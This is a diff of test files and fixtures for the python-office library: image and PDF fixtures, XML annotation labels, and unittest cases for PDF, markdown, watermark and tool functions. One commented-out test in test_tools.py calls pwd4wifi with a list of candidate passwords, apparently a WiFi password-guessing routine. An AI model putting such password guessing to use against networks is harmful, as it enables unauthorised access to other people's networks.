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", + "imageHeight": 500, + "imageWidth": 500 +} \ No newline at end of file diff --git a/tests/test_files/pdf/add_img.docx b/tests/test_files/pdf/add_img.docx new file mode 100644 index 0000000000000000000000000000000000000000..6c5b117ca74d2254fc5ca12dc849b80f0d4b1265 Binary files /dev/null and b/tests/test_files/pdf/add_img.docx differ diff --git a/tests/test_files/pdf/add_img.pdf b/tests/test_files/pdf/add_img.pdf new file mode 100644 index 0000000000000000000000000000000000000000..bababd1ed4ef54aac579969b08973d6e20b83016 Binary files /dev/null and b/tests/test_files/pdf/add_img.pdf differ diff --git a/tests/test_files/pdf/in.docx b/tests/test_files/pdf/in.docx new file mode 100644 index 0000000000000000000000000000000000000000..d61eba3a5728ad505d614dde1883299844f331a1 Binary files /dev/null and b/tests/test_files/pdf/in.docx differ diff --git a/tests/test_files/pdf/in.pdf b/tests/test_files/pdf/in.pdf new file mode 100644 index 0000000000000000000000000000000000000000..db4e1f394721134ede0b01b10e7036573992aa26 Binary files /dev/null and b/tests/test_files/pdf/in.pdf differ diff --git a/tests/test_files/xml/testfile.xml b/tests/test_files/xml/testfile.xml new file mode 100644 index 0000000000000000000000000000000000000000..8da5557443577e1a7e714184b4d802a23e565bac --- /dev/null +++ b/tests/test_files/xml/testfile.xml @@ -0,0 +1,38 @@ + + 伸缩缝断裂 + 1.jpg + C:\Users\37386\Desktop\伸缩缝断裂\1.jpg + + Unknown + + + 500 + 889 + 3 + + 0 + + 测试 + Unspecified + 1 + 0 + + 91 + 5 + 495 + 889 + + + + 测试 + Unspecified + 0 + 0 + + 22 + 260 + 266 + 476 + + + \ No newline at end of file diff --git a/tests/test_files/xml/testfile1.xml b/tests/test_files/xml/testfile1.xml new file mode 100644 index 0000000000000000000000000000000000000000..8da5557443577e1a7e714184b4d802a23e565bac --- /dev/null +++ b/tests/test_files/xml/testfile1.xml @@ -0,0 +1,38 @@ + + 伸缩缝断裂 + 1.jpg + C:\Users\37386\Desktop\伸缩缝断裂\1.jpg + + Unknown + + + 500 + 889 + 3 + + 0 + + 测试 + Unspecified + 1 + 0 + + 91 + 5 + 495 + 889 + + + + 测试 + Unspecified + 0 + 0 + + 22 + 260 + 266 + 476 + + + \ No newline at end of file diff --git a/tests/test_markdown.py b/tests/test_markdown.py new file mode 100644 index 0000000000000000000000000000000000000000..562300d0948c089380bb5e89a63acbb2023de0a6 --- /dev/null +++ b/tests/test_markdown.py @@ -0,0 +1,14 @@ +import unittest + +from office.api.markdown import markdown_link_image_to_base64, check_local_dir_image_link_markdown + + +class TestMarkdown(unittest.TestCase): + def test_markdown_link_image_to_base64(self, ): + markdown_link_image_to_base64( + markdown_path=r"C:\Users\37386\PycharmProjects\python-office\testfile\markdown\test.md") + + def test_check_local_dir_image_link_markdown(self): + check_local_dir_image_link_markdown( + markdown_path=r"C:\Users\37386\PycharmProjects\python-office\testfile\markdown\test.md", + image_path=r"C:\Users\37386\PycharmProjects\python-office\testfile\markdown\test.assets") diff --git a/tests/test_merge2excel.xlsx b/tests/test_merge2excel.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..40c52b433da7e132a089283ddbe4973e81357a57 Binary files /dev/null and b/tests/test_merge2excel.xlsx differ diff --git a/tests/test_pdf.py b/tests/test_pdf.py new file mode 100644 index 0000000000000000000000000000000000000000..ac703da08f3ded9cfcff590fe6b00e0b6e0e6ce8 --- /dev/null +++ b/tests/test_pdf.py @@ -0,0 +1,25 @@ +import unittest + +from office.api.pdf import * + + +class TestExcel(unittest.TestCase): + def test_pdf2imgs(self): + pdf2imgs( + pdf_path=r'C:\Users\lenovo\Documents\WeChat Files\wxid_4zuh1m3d6dw212\FileStorage\MsgAttach\f1f9730d6e856d01d0aa5fcba49ea770\File\2022-07\鼎朗互娱_通用版_短视频合作协议.pdf', + out_dir='./images') + + def test_pdf2docx(self): + pdf2docx( + file_path=r'D:\如何利用Python进行自动化办公.pdf', + output_path=r'C:\output\test' + ) + + def test_add_img_water(self): + add_img_water(pdf_file_in='test_files/pdf/add_img.pdf', pdf_file_mark='test_files/pdf/in.pdf', pdf_file_out='add_img.pdf') + + def test_add_watermark_by_parameters(self): + add_watermark_by_parameters( + pdf_file=r'C:\Users\Lenovo\Documents\WeChat Files\wxid_z91t05fqtrry22\FileStorage\MsgAttach\7ae419aa6a5f7c2fc32c594a69e28c6d\File\2022-06\2022眼科行业研究报告-动脉网-2022-52页.pdf', + mark_str='abc', + output_file_name='测试.pdf') diff --git a/tests/test_ruiming.py b/tests/test_ruiming.py new file mode 100644 index 0000000000000000000000000000000000000000..c33f857c98ca6ca060b4549b2e642804462b4c92 --- /dev/null +++ b/tests/test_ruiming.py @@ -0,0 +1,15 @@ +import unittest + +from office.api.testApi.ruiming import screen_unmarked_image, change_label_in_xml, screen_without_label_json_file + + +class TestExcel(unittest.TestCase): + def test_screen_unmarked_image(self): + screen_unmarked_image(dir_path='') + + def test_change_label_in_xml(self): + change_label_in_xml(dir_path=r".\xml", old_label="测试", new_label="测试1") + + def test_screen_without_label_json_file(self): + screen_without_label_json_file(dir_path="./test_files/json") + # 预期结果：除1.json外均被移动到”无标签json文件“文件夹中 \ No newline at end of file diff --git a/tests/test_tools.py b/tests/test_tools.py index 8d472a5cac6d65660f0e8261e78f578bdfcc6ef1..6d17541232bbb02497329918fe905d0dad9dc4e8 100644 --- a/tests/test_tools.py +++ b/tests/test_tools.py @@ -1,11 +1,29 @@ import unittest -import office + +from office.api.image import add_watermark +from office.api.tools import * +from tests.test_utils.test_input import stub_stdin class TestTools(unittest.TestCase): def test_weather(self): - office.tools.weather() + stub_stdin(self, '北京\ny\nq\n') # 依次输入 + weather() def test_url2ip(self): - office.tools.url2ip('www.python-office.com') + url2ip('www.python-office.com') + + def test_image_watermark(self): + add_watermark(file=r'./test_files/images/0816.jpg', mark='公众号：程序员晚枫') + + def test_lottery8ticket(self): + stub_stdin(self, '12\n0\n') # 依次输入 + lottery8ticket() + + def test_create_article(self): + create_article('生日快乐', line_num=2000) + + # def test_pwd4wifi(self): + # stub_stdin(self, '1\ny\n') #依次输入 + # pwd4wifi(pwd_list=['12345678', 'CoderWanFeng']) diff --git a/tests/test_utils/test_input.py b/tests/test_utils/test_input.py new file mode 100644 index 0000000000000000000000000000000000000000..43c295261c0e8220e859771b641bf59e69ddea52 --- /dev/null +++ b/tests/test_utils/test_input.py @@ -0,0 +1,60 @@ +import unittest +import io +import sys + + +def stub_stdin(testcase_inst, inputs): + ''' + 输入内容 + :param testcase_inst: + :param inputs: + :return: + ''' + stdin = sys.stdin + + def cleanup(): + sys.stdin = stdin + + testcase_inst.addCleanup(cleanup) + sys.stdin = io.StringIO(inputs) + + +def stub_stdout(testcase_inst): + ''' + 输出内容 + :param testcase_inst: + :return: + ''' + stderr = sys.stderr + stdout = sys.stdout + + def cleanup(): + sys.stderr = stderr + sys.stdout = stdout + + testcase_inst.addCleanup(cleanup) + sys.stderr = io.StringIO() + sys.stdout = io.StringIO() + +# 用法举例 +# def test_fun(): +# x = int(input()) +# print(x + 5) +# +# +# class UnitTest(unittest.TestCase): +# def test_fun(self): +# print('请输入数字') +# stub_stdin(self, '2\n4\n') # 依次输入2,4 +# +# stub_stdout(self) +# test_fun() +# self.assertEqual(str(sys.stdout.getvalue()), '7\n') +# +# stub_stdout(self) # 重置输出 +# test_fun() +# self.assertEqual(str(sys.stdout.getvalue()), '9\n') +# +# +# if __name__ == '__main__': +# unittest.main()